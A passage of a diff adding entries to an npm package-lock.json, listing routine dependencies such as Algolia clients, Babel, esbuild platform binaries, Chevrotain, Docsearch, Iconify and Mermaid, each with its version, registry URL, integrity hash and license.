"sha512-IYRd/A/R3BXeaQVT2805lZEdWo54v39Lqa7ABOxIYnUvX2vvOMW1AyzCuT0U7Q+uPdD4UW48zksUKRixShcWxA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/client-insights": { + "version": "5.20.3", + "resolved": "https://registry.npmjs.org/@algolia/client-insights/-/client-insights-5.20.3.tgz", + "integrity": "sha512-QGc/bmDUBgzB71rDL6kihI2e1Mx6G6PxYO5Ks84iL3tDcIel1aFuxtRF14P8saGgdIe1B6I6QkpkeIddZ6vWQw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.20.3", + "@algolia/requester-browser-xhr": "5.20.3", + "@algolia/requester-fetch": "5.20.3", + "@algolia/requester-node-http": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/client-personalization": { + "version": "5.20.3", + "resolved": "https://registry.npmjs.org/@algolia/client-personalization/-/client-personalization-5.20.3.tgz", + "integrity": "sha512-zuM31VNPDJ1LBIwKbYGz/7+CSm+M8EhlljDamTg8AnDilnCpKjBebWZR5Tftv/FdWSro4tnYGOIz1AURQgZ+tQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.20.3", + "@algolia/requester-browser-xhr": "5.20.3", + "@algolia/requester-fetch": "5.20.3", + "@algolia/requester-node-http": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/client-query-suggestions": { + "version": "5.20.3", + "resolved": "https://registry.npmjs.org/@algolia/client-query-suggestions/-/client-query-suggestions-5.20.3.tgz", + "integrity": "sha512-Nn872PuOI8qzi1bxMMhJ0t2AzVBqN01jbymBQOkypvZHrrjZPso3iTpuuLLo9gi3yc/08vaaWTAwJfPhxPwJUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.20.3", + "@algolia/requester-browser-xhr": "5.20.3", + "@algolia/requester-fetch": "5.20.3", + "@algolia/requester-node-http": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/client-search": { + "version": "5.20.3", + "resolved": "https://registry.npmjs.org/@algolia/client-search/-/client-search-5.20.3.tgz", + "integrity": "sha512-9+Fm1ahV8/2goSIPIqZnVitV5yHW5E5xTdKy33xnqGd45A9yVv5tTkudWzEXsbfBB47j9Xb3uYPZjAvV5RHbKA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.20.3", + "@algolia/requester-browser-xhr": "5.20.3", + "@algolia/requester-fetch": "5.20.3", + "@algolia/requester-node-http": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/ingestion": { + "version": "1.20.3", + "resolved": "https://registry.npmjs.org/@algolia/ingestion/-/ingestion-1.20.3.tgz", + "integrity": "sha512-5GHNTiZ3saLjTNyr6WkP5hzDg2eFFAYWomvPcm9eHWskjzXt8R0IOiW9kkTS6I6hXBwN5H9Zna5mZDSqqJdg+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.20.3", + "@algolia/requester-browser-xhr": "5.20.3", + "@algolia/requester-fetch": "5.20.3", + "@algolia/requester-node-http": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/monitoring": { + "version": "1.20.3", + "resolved": "https://registry.npmjs.org/@algolia/monitoring/-/monitoring-1.20.3.tgz", + "integrity": "sha512-KUWQbTPoRjP37ivXSQ1+lWMfaifCCMzTnEcEnXwAmherS5Tp7us6BAqQDMGOD4E7xyaS2I8pto6WlOzxH+CxmA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.20.3", + "@algolia/requester-browser-xhr": "5.20.3", + "@algolia/requester-fetch": "5.20.3", + "@algolia/requester-node-http": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/recommend": { + "version": "5.20.3", + "resolved": "https://registry.npmjs.org/@algolia/recommend/-/recommend-5.20.3.tgz", + "integrity": "sha512-oo/gG77xTTTclkrdFem0Kmx5+iSRFiwuRRdxZETDjwzCI7svutdbwBgV/Vy4D4QpYaX4nhY/P43k84uEowCE4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.20.3", + "@algolia/requester-browser-xhr": "5.20.3", + "@algolia/requester-fetch": "5.20.3", + "@algolia/requester-node-http": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/requester-browser-xhr": { + "version": "5.20.3", + "resolved": "https://registry.npmjs.org/@algolia/requester-browser-xhr/-/requester-browser-xhr-5.20.3.tgz", + "integrity": "sha512-BkkW7otbiI/Er1AiEPZs1h7lxbtSO9p09jFhv3/iT8/0Yz0CY79VJ9iq+Wv1+dq/l0OxnMpBy8mozrieGA3mXQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/requester-fetch": { + "version": "5.20.3", + "resolved": "https://registry.npmjs.org/@algolia/requester-fetch/-/requester-fetch-5.20.3.tgz", + "integrity": "sha512-eAVlXz7UNzTsA1EDr+p0nlIH7WFxo7k3NMxYe8p38DH8YVWLgm2MgOVFUMNg9HCi6ZNOi/A2w/id2ZZ4sKgUOw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@algolia/requester-node-http": { + "version": "5.20.3", + "resolved": "https://registry.npmjs.org/@algolia/requester-node-http/-/requester-node-http-5.20.3.tgz", + "integrity": "sha512-FqR3pQPfHfQyX1wgcdK6iyqu86yP76MZd4Pzj1y/YLMj9rRmRCY0E0AffKr//nrOFEwv6uY8BQY4fd9/6b0ZCg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/client-common": "5.20.3" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@antfu/install-pkg": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@antfu/install-pkg/-/install-pkg-1.0.0.tgz", + "integrity": "sha512-xvX6P/lo1B3ej0OsaErAjqgFYzYVcJpamjLAFLYh9vRJngBrMoUG7aVnrGTeqM7yxbyTD5p3F2+0/QUEh8Vzhw==", + "dev": true, + "license": "MIT", + "dependencies": { + "package-manager-detector": "^0.2.8", + "tinyexec": "^0.3.2" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@antfu/utils": { + "version": "0.7.10", + "resolved": "https://registry.npmjs.org/@antfu/utils/-/utils-0.7.10.tgz", + "integrity": "sha512-+562v9k4aI80m1+VuMHehNJWLOFjBnXn3tdOitzD0il5b7smkSBal4+a3oKiQTbrwMmN/TBUMDvbdoWDehgOww==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz", + "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.27.7", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.27.7.tgz", + "integrity": "sha512-qnzXzDXdr/po3bOTbTIQZ7+TxNKxpkN5IifVLXS+r7qwynkZfPyjZfE7hCXbo7IoO9TNcSyibgONsf2HauUd3Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.27.7" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/types": { + "version": "7.27.7", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.27.7.tgz", + "integrity": "sha512-8OLQgDScAOHXnAz2cV+RfzzNMipuLVBz2biuAJFMV9bfkNf393je3VM8CLkjQodW5+iWsSJdSgSWT6rsZoXHPw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@braintree/sanitize-url": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/@braintree/sanitize-url/-/sanitize-url-6.0.4.tgz", + "integrity": "sha512-s3jaWicZd0pkP0jf5ysyHUI/RE7MHos6qlToFcGWXVp+ykHOy77OUMrfbgJ9it2C5bow7OIQwYYaHjk9XlBQ2A==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/@chevrotain/cst-dts-gen": { + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/@chevrotain/cst-dts-gen/-/cst-dts-gen-11.0.3.tgz", + "integrity": "sha512-BvIKpRLeS/8UbfxXxgC33xOumsacaeCKAjAeLyOn7Pcp95HiRbrpl14S+9vaZLolnbssPIUuiUd8IvgkRyt6NQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@chevrotain/gast": "11.0.3", + "@chevrotain/types": "11.0.3", + "lodash-es": "4.17.21" + } + }, + "node_modules/@chevrotain/gast": { + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/@chevrotain/gast/-/gast-11.0.3.tgz", + "integrity": "sha512-+qNfcoNk70PyS/uxmj3li5NiECO+2YKZZQMbmjTqRI3Qchu8Hig/Q9vgkHpI3alNjr7M+a2St5pw5w5F6NL5/Q==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@chevrotain/types": "11.0.3", + "lodash-es": "4.17.21" + } + }, + "node_modules/@chevrotain/regexp-to-ast": { + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/@chevrotain/regexp-to-ast/-/regexp-to-ast-11.0.3.tgz", + "integrity": "sha512-1fMHaBZxLFvWI067AVbGJav1eRY7N8DDvYCTwGBiE/ytKBgP8azTdgyrKyWZ9Mfh09eHWb5PgTSO8wi7U824RA==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/@chevrotain/types": { + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/@chevrotain/types/-/types-11.0.3.tgz", + "integrity": "sha512-gsiM3G8b58kZC2HaWR50gu6Y1440cHiJ+i3JUvcp/35JchYejb2+5MVeJK0iKThYpAa/P2PYFV4hoi44HD+aHQ==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/@chevrotain/utils": { + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/@chevrotain/utils/-/utils-11.0.3.tgz", + "integrity": "sha512-YslZMgtJUyuMbZ+aKvfF3x1f5liK4mWNxghFRv7jqRR9C3R3fAOGTTKvxXDa2Y1s9zSbcpuO0cAxDYsc9SrXoQ==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/@docsearch/css": { + "version": "3.8.2", + "resolved": "https://registry.npmjs.org/@docsearch/css/-/css-3.8.2.tgz", + "integrity": "sha512-y05ayQFyUmCXze79+56v/4HpycYF3uFqB78pLPrSV5ZKAlDuIAAJNhaRi8tTdRNXh05yxX/TyNnzD6LwSM89vQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@docsearch/js": { + "version": "3.8.2", + "resolved": "https://registry.npmjs.org/@docsearch/js/-/js-3.8.2.tgz", + "integrity": "sha512-Q5wY66qHn0SwA7Taa0aDbHiJvaFJLOJyHmooQ7y8hlwwQLQ/5WwCcoX0g7ii04Qi2DJlHsd0XXzJ8Ypw9+9YmQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@docsearch/react": "3.8.2", + "preact": "^10.0.0" + } + }, + "node_modules/@docsearch/react": { + "version": "3.8.2", + "resolved": "https://registry.npmjs.org/@docsearch/react/-/react-3.8.2.tgz", + "integrity": "sha512-xCRrJQlTt8N9GU0DG4ptwHRkfnSnD/YpdeaXe02iKfqs97TkZJv60yE+1eq/tjPcVnTW8dP5qLP7itifFVV5eg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@algolia/autocomplete-core": "1.17.7", + "@algolia/autocomplete-preset-algolia": "1.17.7", + "@docsearch/css": "3.8.2", + "algoliasearch": "^5.14.2" + }, + "peerDependencies": { + "@types/react": ">= 16.8.0 < 19.0.0", + "react": ">= 16.8.0 < 19.0.0", + "react-dom": ">= 16.8.0 < 19.0.0", + "search-insights": ">= 1 < 3" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "react": { + "optional": true + }, + "react-dom": { + "optional": true + }, + "search-insights": { + "optional": true + } + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.2.tgz", + "integrity": "sha512-wCIboOL2yXZym2cgm6mlA742s9QeJ8DjGVaL39dLN4rRwrOgOyYSnOaFPhKZGLb2ngj4EyfAFjsNJwPXZvseag==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.2.tgz", + "integrity": "sha512-NQhH7jFstVY5x8CKbcfa166GoV0EFkaPkCKBQkdPJFvo5u+nGXLEH/ooniLb3QI8Fk58YAx7nsPLozUWfCBOJA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.2.tgz", + "integrity": "sha512-5ZAX5xOmTligeBaeNEPnPaeEuah53Id2tX4c2CVP3JaROTH+j4fnfHCkr1PjXMd78hMst+TlkfKcW/DlTq0i4w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.2.tgz", + "integrity": "sha512-Ffcx+nnma8Sge4jzddPHCZVRvIfQ0kMsUsCMcJRHkGJ1cDmhe4SsrYIjLUKn1xpHZybmOqCWwB0zQvsjdEHtkg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.2.tgz", + "integrity": "sha512-MpM6LUVTXAzOvN4KbjzU/q5smzryuoNjlriAIx+06RpecwCkL9JpenNzpKd2YMzLJFOdPqBpuub6eVRP5IgiSA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.2.tgz", + "integrity": "sha512-5eRPrTX7wFyuWe8FqEFPG2cU0+butQQVNcT4sVipqjLYQjjh8a8+vUTfgBKM88ObB85ahsnTwF7PSIt6PG+QkA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.2.tgz", + "integrity": "sha512-mLwm4vXKiQ2UTSX4+ImyiPdiHjiZhIaE9QvC7sw0tZ6HoNMjYAqQpGyui5VRIi5sGd+uWq940gdCbY3VLvsO1w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.2.tgz", + "integrity": "sha512-6qyyn6TjayJSwGpm8J9QYYGQcRgc90nmfdUb0O7pp1s4lTY+9D0H9O02v5JqGApUyiHOtkz6+1hZNvNtEhbwRQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.2.tgz", + "integrity": "sha512-UHBRgJcmjJv5oeQF8EpTRZs/1knq6loLxTsjc3nxO9eXAPDLcWW55flrMVc97qFPbmZP31ta1AZVUKQzKTzb0g==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.2.tgz", + "integrity": "sha512-gq/sjLsOyMT19I8obBISvhoYiZIAaGF8JpeXu1u8yPv8BE5HlWYobmlsfijFIZ9hIVGYkbdFhEqC0NvM4kNO0g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.2.tgz", + "integrity": "sha512-bBYCv9obgW2cBP+2ZWfjYTU+f5cxRoGGQ5SeDbYdFCAZpYWrfjjfYwvUpP8MlKbP0nwZ5gyOU/0aUzZ5HWPuvQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.2.tgz", + "integrity": "sha512-SHNGiKtvnU2dBlM5D8CXRFdd+6etgZ9dXfaPCeJtz+37PIUlixvlIhI23L5khKXs3DIzAn9V8v+qb1TRKrgT5w==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.2.tgz", + "integrity": "sha512-hDDRlzE6rPeoj+5fsADqdUZl1OzqDYow4TB4Y/3PlKBD0ph1e6uPHzIQcv2Z65u2K0kpeByIyAjCmjn1hJgG0Q==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.2.tgz", + "integrity": "sha512-tsHu2RRSWzipmUi9UBDEzc0nLc4HtpZEI5Ba+Omms5456x5WaNuiG3u7xh5AO6sipnJ9r4cRWQB2tUjPyIkc6g==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.2.tgz", + "integrity": "sha512-k4LtpgV7NJQOml/10uPU0s4SAXGnowi5qBSjaLWMojNCUICNu7TshqHLAEbkBdAszL5TabfvQ48kK84hyFzjnw==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.2.tgz", + "integrity": "sha512-GRa4IshOdvKY7M/rDpRR3gkiTNp34M0eLTaC1a08gNrh4u488aPhuZOCpkF6+2wl3zAN7L7XIpOFBhnaE3/Q8Q==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.2.tgz", + "integrity": "sha512-QInHERlqpTTZ4FRB0fROQWXcYRD64lAoiegezDunLpalZMjcUcld3YzZmVJ2H/Cp0wJRZ8Xtjtj0cEHhYc/uUg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.2.tgz", + "integrity": "sha512-talAIBoY5M8vHc6EeI2WW9d/CkiO9MQJ0IOWX8hrLhxGbro/vBXJvaQXefW2cP0z0nQVTdQ/eNyGFV1GSKrxfw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.2.tgz", + "integrity": "sha512-voZT9Z+tpOxrvfKFyfDYPc4DO4rk06qamv1a/fkuzHpiVBMOhpjK+vBmWM8J1eiB3OLSMFYNaOaBNLXGChf5tg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.2.tgz", + "integrity": "sha512-dcXYOC6NXOqcykeDlwId9kB6OkPUxOEqU+rkrYVqJbK2hagWOMrsTGsMr8+rW02M+d5Op5NNlgMmjzecaRf7Tg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.2.tgz", + "integrity": "sha512-t/TkWwahkH0Tsgoq1Ju7QfgGhArkGLkF1uYz8nQS/PPFlXbP5YgRpqQR3ARRiC2iXoLTWFxc6DJMSK10dVXluw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.2.tgz", + "integrity": "sha512-cfZH1co2+imVdWCjd+D1gf9NjkchVhhdpgb1q5y6Hcv9TP6Zi9ZG/beI3ig8TvwT9lH9dlxLq5MQBBgwuj4xvA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.2.tgz", + "integrity": "sha512-7Loyjh+D/Nx/sOTzV8vfbB3GJuHdOQyrOryFdZvPHLf42Tk9ivBU5Aedi7iyX+x6rbn2Mh68T4qq1SDqJBQO5Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.2.tgz", + "integrity": "sha512-WRJgsz9un0nqZJ4MfhabxaD9Ft8KioqU3JMinOTvobbX6MOSUigSBlogP8QB3uxpJDsFS6yN+3FDBdqE5lg9kg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.2.tgz", + "integrity": "sha512-kM3HKb16VIXZyIeVrM1ygYmZBKybX8N4p754bw390wGO3Tf2j4L2/WYL+4suWujpgf6GBYs3jv7TyUivdd05JA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@iconify-json/simple-icons": { + "version": "1.2.25", + "resolved": "https://registry.npmjs.org/@iconify-json/simple-icons/-/simple-icons-1.2.25.tgz", + "integrity": "sha512-2E1/gOCO97rF6usfhhiXxwzCb+UhdEsxW3lW1Sew+xZY0COY6dp82Z/r1rUt2fWKneWjuoGcNeJHHXQyG8mIuw==", + "dev": true, + "license": "CC0-1.0", + "dependencies": { + "@iconify/types": "*" + } + }, + "node_modules/@iconify/types": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@iconify/types/-/types-2.0.0.tgz", + "integrity": "sha512-+wluvCrRhXrhyOmRDJ3q8mux9JkKy5SJ/v8ol2tu4FVjyYvtEzkc/3pK15ET6RKg4b4w4BmTk1+gsCUhf21Ykg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@iconify/utils": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@iconify/utils/-/utils-2.3.0.tgz", + "integrity": "sha512-GmQ78prtwYW6EtzXRU1rY+KwOKfz32PD7iJh6Iyqw68GiKuoZ2A6pRtzWONz5VQJbp50mEjXh/7NkumtrAgRKA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@antfu/install-pkg": "^1.0.0", + "@antfu/utils": "^8.1.0", + "@iconify/types": "^2.0.0", + "debug": "^4.4.0", + "globals": "^15.14.0", + "kolorist": "^1.8.0", + "local-pkg": "^1.0.0", + "mlly": "^1.7.4" + } + }, + "node_modules/@iconify/utils/node_modules/@antfu/utils": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/@antfu/utils/-/utils-8.1.1.tgz", + "integrity": "sha512-Mex9nXf9vR6AhcXmMrlz/HVgYYZpVGJ6YlPgwl7UnaFpnshXs6EK/oa5Gpf3CzENMjkvEx2tQtntGnb7UtSTOQ==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz", + "integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@mermaid-js/mermaid-mindmap": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/@mermaid-js/mermaid-mindmap/-/mermaid-mindmap-9.3.0.tgz", + "integrity": "sha512-IhtYSVBBRYviH1Ehu8gk69pMDF8DSRqXBRDMWrEfHoaMruHeaP2DXA3PBnuwsMaCdPQhlUUcy/7DBLAEIXvCAw==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@braintree/sanitize-url": "^6.0.0", + "cytoscape": "^3.23.0", + "cytoscape-cose-bilkent": "^4.1.0", + "cytoscape-fcose": "^2.1.0", + "d3": "^7.0.0", + "khroma": "^2.0.0", + "non-layered-tidy-tree-layout": "^2.0.2" + } + }, + "node_modules/@mermaid-js/parser": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@mermaid-js/parser/-/parser-0.3.0.tgz", + "integrity": "sha512-HsvL6zgE5sUPGgkIDlmAWR1HTNHz2Iy11BAWPTa4Jjabkpguy4Ze2gzfLrg6pdRuBvFwgUYyxiaNqZwrEEXepA==", + "dev": 